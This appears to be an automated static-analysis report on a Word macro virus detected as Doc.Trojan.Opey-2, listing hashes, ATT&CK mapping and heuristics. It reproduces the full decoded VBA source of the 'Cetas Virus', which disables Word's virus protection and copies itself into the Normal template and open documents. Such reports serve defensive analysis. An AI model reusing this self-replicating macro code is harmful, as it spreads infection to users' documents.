Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b1bb653d376a590…

MALICIOUS

Office (OLE)

29.5 KB Created: 1999-12-29 05:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6f1b9f60056e25061a6ed17237bca558 SHA-1: 804681b438a89df9675eb2a2fc4369e04860cc0d SHA-256: 3b1bb653d376a5900be09e5e9e560997cdfe36f1951910277ce7478d00ad3f30
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a legacy WordBasic AutoClose macro that attempts to export and import VBA components, specifically targeting the 'xHeCs11' module and saving it as 'c:\MsWin.sys'. This behavior is indicative of a macro-based malware, likely a virus, attempting to establish itself or spread. The ClamAV detection further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Opey-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Opey-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2244 bytes
SHA-256: 02b2e658b05710d0e40dae1b135170eaa523aaf3cd88d9dd71d778be3e48d770
Detection
ClamAV: Doc.Trojan.Opey-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "xHeCs11"
Sub AutoClose()
Attribute AutoClose.VB_Description = "Macro created 09-15-99 by xHeCs\r\n\r\n"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Project.xHeCs1.AutoClose"
'
' Cetas Virus version 1.1 by xHeCs
' ATTENTION LAMERS that's you !!!.
'     You can learn a lot from this virus, But Please respect
' What is not yours.
'
SaveVPSet = Application.Options.VirusProtection
Application.Options.VirusProtection = False
On Error Resume Next
If Activation = 12 Or Activation = 23 Or Activation = 4 Then Copyright
Application.VBE.ActiveVBProject.VBComponents("xHeCs11").Export "c:\MsWin.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "xHeCs11" Then NormInstall = True
Next I
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "xHeCs11" Then ActivInstall = True
Next I
If ActivInstall = True And NormInstall = False Then Set Target = NormalTemplate.VBProject _
Else: If ActivInstall = False And NormInstall = True Then Set Target = ActiveDocument.VBProject
Target.VBComponents.Import ("c:\MsWin.sys")
If Year(Now()) = 2000 Then Copyright
Application.Options.VirusProtection = SaveVPSet
End Sub
Function Activation()
   Activation = Day(Now())
End Function
Function Copyright()
   If Minute(Now()) = 23 Then
      MsgBox " Cetas Virus version 1.1 by xHeCs ", vbCritical
      Selection.TypeParagraph
      Selection.TypeParagraph
      Selection.TypeText Text:="Cetas Virus version 1.1"
      Selection.TypeParagraph
      Selection.TypeText Text:="    (C) Copyright xHeCS 1999-2000"
      Selection.TypeParagraph
      Selection.TypeParagraph
      Selection.TypeText Text:="      Life is like a box of chocolate"
      Selection.TypeParagraph
      Selection.TypeText Text:="You'll never know what your gonna get"
      Selection.TypeParagraph
      Selection.TypeParagraph
   End If
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.